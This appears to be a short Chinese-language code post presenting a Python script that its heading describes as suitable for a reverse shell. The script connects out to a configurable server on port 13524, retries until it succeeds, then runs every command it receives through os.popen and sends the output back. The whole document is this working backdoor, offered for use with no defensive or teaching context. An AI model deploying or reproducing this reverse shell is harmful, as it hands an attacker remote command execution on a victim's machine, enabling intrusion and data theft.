用socket编写通信脚本,将获取的命令直接执行并回显,适合直接反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import os import time import socket '''################''' server_ip = '' server_port = 13524 '''################''' s = socket.socket() while True: try: s.connect((server_ip, server_port)) break except: time.sleep(3) while True: s.send(b'[ltPPDS1:->') cmd = s.recv(1024).decode() if cmd == 'exit:': break s.send(os.popen("{0}".format(cmd)).read().encode()) s.close()
|